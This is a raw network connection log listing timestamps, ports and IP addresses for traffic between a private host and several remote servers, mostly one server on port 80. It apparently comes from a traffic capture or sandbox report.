Oct 29, 2024 15:27:47.771778107 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771787882 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771792889 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771809101 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771812916 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.771812916 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.771816015 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771823883 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771830082 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.771850109 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.771872997 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.771970987 CET	49990	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.771986008 CET	443	49990	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.772049904 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772057056 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772095919 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772103071 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772108078 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772109985 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.772114038 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772126913 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772135019 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772140980 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772151947 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772152901 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.772160053 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772171021 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.772178888 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772186041 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772197962 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772203922 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772211075 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772216082 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772216082 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.772222996 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772238970 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772243023 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.772247076 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772253990 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772259951 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772264004 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.772265911 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772273064 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772278070 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772290945 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772294044 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.772310019 CET	50003	443	192.168.2.6	204.79.197.219
Oct 29, 2024 15:27:47.772314072 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.772325039 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772331953 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772335052 CET	443	50003	204.79.197.219	192.168.2.6
Oct 29, 2024 15:27:47.772341013 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.772342920 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772350073 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772356033 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772371054 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772371054 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.772378922 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772384882 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772392035 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772394896 CET	50003	443	192.168.2.6	204.79.197.219
Oct 29, 2024 15:27:47.772398949 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772404909 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772411108 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772435904 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.772463083 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.772464037 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772476912 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772499084 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772507906 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772511959 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.772514105 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772524118 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772531033 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772536993 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772542953 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772555113 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772558928 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.772578001 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.772583961 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772591114 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772598028 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772598028 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.772607088 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772608995 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.772614002 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772629976 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772635937 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772646904 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.772650003 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772656918 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772663116 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772670984 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772691011 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.772713900 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772718906 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.772721052 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772733927 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772739887 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772746086 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772757053 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772773981 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772775888 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.772782087 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772794962 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.772795916 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772811890 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.772846937 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.772981882 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772989035 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.772994041 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.773006916 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.773014069 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.773026943 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.773032904 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.773036957 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.773039103 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.773045063 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.773056984 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.773061991 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.773068905 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.773073912 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.773080111 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.773081064 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.773087978 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.773112059 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.773123980 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.773129940 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.773138046 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.773140907 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.773143053 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.773152113 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.773154974 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.773160934 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.773165941 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.773171902 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.773176908 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.773181915 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.773186922 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.773194075 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.773206949 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.773210049 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.773210049 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.773216009 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.773252010 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.773257017 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.773257971 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.773264885 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.773277044 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.773293972 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.773315907 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.773329020 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.773329973 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.773389101 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.773451090 CET	443	49990	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.773508072 CET	49990	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.774069071 CET	443	49982	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.774081945 CET	443	49982	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.774158955 CET	49982	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.774173021 CET	443	49982	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.774218082 CET	49982	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.774233103 CET	49982	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.774454117 CET	50001	443	192.168.2.6	23.198.7.184
Oct 29, 2024 15:27:47.774468899 CET	443	50001	23.198.7.184	192.168.2.6
Oct 29, 2024 15:27:47.774569988 CET	49986	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:47.774569988 CET	49986	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:47.774590015 CET	443	49986	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:47.774612904 CET	443	49986	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:47.774714947 CET	50002	443	192.168.2.6	23.198.7.184
Oct 29, 2024 15:27:47.774728060 CET	443	50002	23.198.7.184	192.168.2.6
Oct 29, 2024 15:27:47.774997950 CET	50003	443	192.168.2.6	204.79.197.219
Oct 29, 2024 15:27:47.775015116 CET	443	50003	204.79.197.219	192.168.2.6
Oct 29, 2024 15:27:47.775412083 CET	49990	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.775598049 CET	443	49990	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.775852919 CET	50004	443	192.168.2.6	204.79.197.219
Oct 29, 2024 15:27:47.775876045 CET	443	50004	204.79.197.219	192.168.2.6
Oct 29, 2024 15:27:47.775988102 CET	50004	443	192.168.2.6	204.79.197.219
Oct 29, 2024 15:27:47.776058912 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.776117086 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.776129007 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.776135921 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.776149035 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.776215076 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.776721954 CET	50004	443	192.168.2.6	204.79.197.219
Oct 29, 2024 15:27:47.776751041 CET	443	50004	204.79.197.219	192.168.2.6
Oct 29, 2024 15:27:47.776789904 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.776850939 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.776906967 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.776913881 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.776925087 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.776930094 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.776953936 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.776959896 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.776962996 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.776985884 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.777014017 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.777045012 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777051926 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777065039 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777070045 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777076006 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777081966 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777101994 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.777110100 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777117014 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777127028 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.777132034 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777159929 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777163029 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.777168036 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777182102 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777188063 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777194977 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.777199984 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777229071 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.777235985 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.777257919 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.777363062 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777369976 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777384043 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777396917 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777404070 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777415991 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777415991 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.777424097 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777435064 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777465105 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.777482986 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.777493000 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.777520895 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777528048 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777539015 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777544975 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777555943 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777560949 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777573109 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777579069 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777584076 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.777586937 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777607918 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.777631044 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.777714968 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.777847052 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777853966 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777859926 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777872086 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777879000 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777885914 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777898073 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777900934 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.777904987 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777914047 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777920961 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777939081 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.777940989 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.777966976 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.778000116 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.778058052 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.778064013 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.778075933 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.778116941 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.778280973 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:47.778434038 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.823081017 CET	49990	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.823096991 CET	443	49990	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.823515892 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.823700905 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:47.840116978 CET	49991	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.840137005 CET	443	49991	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.840929985 CET	50005	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.841010094 CET	443	50005	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.841099024 CET	50005	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.841638088 CET	50005	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.841674089 CET	443	50005	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.846771955 CET	49984	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.846793890 CET	443	49984	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.863262892 CET	49987	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.863303900 CET	443	49987	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.895744085 CET	443	49988	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.895781994 CET	443	49988	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.895884991 CET	49988	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.895904064 CET	443	49988	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.895922899 CET	443	49988	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.895981073 CET	49988	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.898547888 CET	49982	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:47.898559093 CET	443	49982	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:47.900883913 CET	443	49993	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:47.902000904 CET	49993	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:47.902009964 CET	443	49993	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:47.902375937 CET	443	49993	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:47.902801037 CET	49993	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:47.902879000 CET	443	49993	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:47.925517082 CET	443	49992	23.96.180.189	192.168.2.6
Oct 29, 2024 15:27:47.926404953 CET	443	49994	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:47.926418066 CET	49992	443	192.168.2.6	23.96.180.189
Oct 29, 2024 15:27:47.926490068 CET	443	49992	23.96.180.189	192.168.2.6
Oct 29, 2024 15:27:47.926673889 CET	49994	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:47.926693916 CET	443	49994	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:47.927047968 CET	443	49994	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:47.927692890 CET	443	49992	23.96.180.189	192.168.2.6
Oct 29, 2024 15:27:47.927906990 CET	49994	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:47.927979946 CET	443	49994	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:47.928190947 CET	49992	443	192.168.2.6	23.96.180.189
Oct 29, 2024 15:27:47.928374052 CET	443	49992	23.96.180.189	192.168.2.6
Oct 29, 2024 15:27:47.928890944 CET	49992	443	192.168.2.6	23.96.180.189
Oct 29, 2024 15:27:47.937966108 CET	49988	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.937983036 CET	443	49988	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.945590973 CET	443	49989	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.945664883 CET	443	49989	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.945777893 CET	49989	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.945791006 CET	443	49989	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.945811987 CET	443	49989	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.945921898 CET	49989	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.960557938 CET	50006	443	192.168.2.6	23.198.7.183
Oct 29, 2024 15:27:47.960591078 CET	443	50006	23.198.7.183	192.168.2.6
Oct 29, 2024 15:27:47.960685968 CET	50006	443	192.168.2.6	23.198.7.183
Oct 29, 2024 15:27:47.960762978 CET	49989	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.960776091 CET	443	49989	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.961091995 CET	50007	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:47.961123943 CET	443	50007	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:47.961210966 CET	50007	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:47.961358070 CET	50006	443	192.168.2.6	23.198.7.183
Oct 29, 2024 15:27:47.961370945 CET	443	50006	23.198.7.183	192.168.2.6
Oct 29, 2024 15:27:47.962903023 CET	50007	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:47.962923050 CET	443	50007	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:47.964534044 CET	50008	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:47.964544058 CET	443	50008	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:47.964607000 CET	50008	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:47.964776993 CET	50008	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:47.964790106 CET	443	50008	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:47.971371889 CET	443	49992	23.96.180.189	192.168.2.6
Oct 29, 2024 15:27:47.988682985 CET	443	49990	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.988754034 CET	49990	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.988768101 CET	443	49990	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.988831997 CET	443	49990	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:47.988892078 CET	49990	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.992213964 CET	49990	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:47.992228985 CET	443	49990	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:48.010174990 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.015825033 CET	80	49940	185.215.113.206	192.168.2.6
